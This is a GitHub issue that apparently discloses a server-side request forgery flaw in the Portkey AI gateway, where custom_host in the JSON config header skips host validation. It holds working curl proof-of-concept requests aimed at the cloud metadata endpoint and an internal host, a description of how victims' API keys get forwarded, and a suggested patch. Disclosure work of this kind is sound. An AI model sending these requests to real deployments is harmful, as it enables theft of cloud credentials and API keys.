Skip to content

SSRF via x-portkey-config JSON custom_host bypasses isValidCustomHost validation #1753

Description

@Correctover

SSRF via x-portkey-config JSON custom_host bypasses isValidCustomHost validation

Summary

The isValidCustomHost() function in src/middlewares/requestValidator/index.ts provides comprehensive SSRF protection (blocking private IPs, cloud metadata endpoints 169.254.169.254, internal TLDs, homograph attacks, DNS rebinding, etc.). However, this validation is only applied to the x-portkey-custom-host header, not to the custom_host field within the x-portkey-config JSON configuration.

An attacker can bypass all SSRF protections by passing custom_host inside the x-portkey-config JSON header instead of using the standalone x-portkey-custom-host header. The gateway will then make server-side requests to arbitrary internal/external destinations, including cloud instance metadata endpoints.

Affected Version

@portkey-ai/gateway (latest, commit 669825c)

Root Cause — Source Code Analysis

Validation applied to header path only (src/middlewares/requestValidator/index.ts lines 148-149):

const customHostHeader = requestHeaders[`x-${POWERED_BY}-custom-host`];
if (customHostHeader && !isValidCustomHost(customHostHeader, c)) {
  return new Response(JSON.stringify({ status: 'failure', message: 'Invalid custom host' }), { status: 400 });
}

JSON config parsed but NOT validated (src/middlewares/requestValidator/index.ts lines 164-166):

if (requestHeaders[`x-${POWERED_BY}-config`]) {
  const parsedConfig = JSON.parse(requestHeaders[`x-${POWERED_BY}-config`]);
  // ❌ No validation of parsedConfig.custom_host
}

custom_host flows unvalidated to HTTP request — the chain:

  1. constructConfigFromRequestHeaders() parses JSON → convertKeysToCamelCase() converts custom_hostcustomHost (src/handlers/handlerUtils.ts line 1130)
  2. tryTargetsRecursively() propagates customHost to target config (src/handlers/handlerUtils.ts lines 546-550)
  3. RequestContext.customHost getter reads this.providerOption.customHost (src/handlers/services/requestContext.ts lines 127-132)
  4. ProviderContext.getFullURL() uses it as base URL: const baseURL = context.customHost || (await this.getBaseURL(context)) (src/handlers/services/providerContext.ts line 97)
  5. Final URL: ${attacker_controlled_host}${reqPath}${reqQuery} — full SSRF

Proof of Concept

SSRF to cloud metadata (AWS IMDS):

curl -X GET "https://your-gateway-instance/v1/chat/completions" \
  -H "Content-Type: application/json" \
  -H "x-portkey-provider: openai" \
  -H "Authorization: Bearer sk-any-key" \
  -H 'x-portkey-config: {"provider":"openai","api_key":"sk-test","custom_host":"http://169.254.169.254"}'

The gateway will make a server-side GET request to http://169.254.169.254/latest/meta-data/ (since reqPath after stripping /v1 is /chat/completions... actually for GET it would be the path appended to customHost).

SSRF to internal service with credential theft:

curl -X POST "https://your-gateway-instance/v1/chat/completions" \
  -H "Content-Type: application/json" \
  -H "x-portkey-provider: openai" \
  -H "Authorization: Bearer sk-VICTIM-API-KEY" \
  -H 'x-portkey-config: {"provider":"openai","api_key":"sk-test","custom_host":"http://10.0.0.1:8080"}' \
  -d '{"model":"gpt-4o","messages":[{"role":"user","content":"exfiltrate"}]}'

The gateway forwards the request (including the victim's API key in Authorization header) to http://10.0.0.1:8080/v1/chat/completions.

Same request with x-portkey-custom-host header is correctly blocked:

curl -X POST "https://your-gateway-instance/v1/chat/completions" \
  -H "x-portkey-custom-host: http://169.254.169.254" \
  -H "x-portkey-provider: openai" \
  -H "Authorization: Bearer sk-test" \
  -d '{"model":"gpt-4o","messages":[{"role":"user","content":"test"}]}'
# Returns: 400 {"status":"failure","message":"Invalid custom host"} ✅

Impact

Attack Vector x-portkey-custom-host header x-portkey-config JSON custom_host
Cloud metadata (169.254.169.254) ✅ Blocked Bypassed
Private IPs (10.x, 172.16.x, 192.168.x) ✅ Blocked Bypassed
Internal TLDs (.local, .internal) ✅ Blocked Bypassed
Homograph attacks ✅ Blocked Bypassed
DNS rebinding ✅ Blocked Bypassed

CVSS 3.1 Assessment

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7.7 (High)

  • Network-accessible, low complexity, low privilege (valid API key)
  • Scope changed (gateway → internal resources)
  • High confidentiality impact (cloud credentials, internal service data)

Attack Scenarios

  1. Cloud credential theft: Access http://169.254.169.254/latest/meta-data/iam/security-credentials/ to steal IAM role credentials from cloud-hosted gateway instances
  2. Internal network scanning: Probe internal services (RFC-1918 ranges) through the gateway
  3. API key exfiltration: The gateway forwards Authorization headers to the attacker-specified host, leaking victim API keys to internal/external servers
  4. Data exfiltration: Request bodies containing sensitive data are forwarded to attacker-controlled endpoints

Suggested Fix

Apply isValidCustomHost() validation to custom_host from the JSON config in constructConfigFromRequestHeaders(), or validate it during the x-portkey-config parsing in the request validator middleware:

// In src/middlewares/requestValidator/index.ts, after parsing JSON config:
if (requestHeaders[`x-${POWERED_BY}-config`]) {
  const parsedConfig = JSON.parse(requestHeaders[`x-${POWERED_BY}-config`]);
  // Add validation for custom_host in JSON config
  if (parsedConfig.custom_host && !isValidCustomHost(parsedConfig.custom_host, c)) {
    return new Response(JSON.stringify({ status: 'failure', message: 'Invalid custom host in config' }), { status: 400 });
  }
  // Also check targets array
  if (Array.isArray(parsedConfig.targets)) {
    for (const target of parsedConfig.targets) {
      if (target.custom_host && !isValidCustomHost(target.custom_host, c)) {
        return new Response(JSON.stringify({ status: 'failure', message: 'Invalid custom host in target config' }), { status: 400 });
      }
    }
  }
}

Related

Responsible Disclosure

Reported via community channel. Happy to provide additional reproduction details or assist with verification.

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions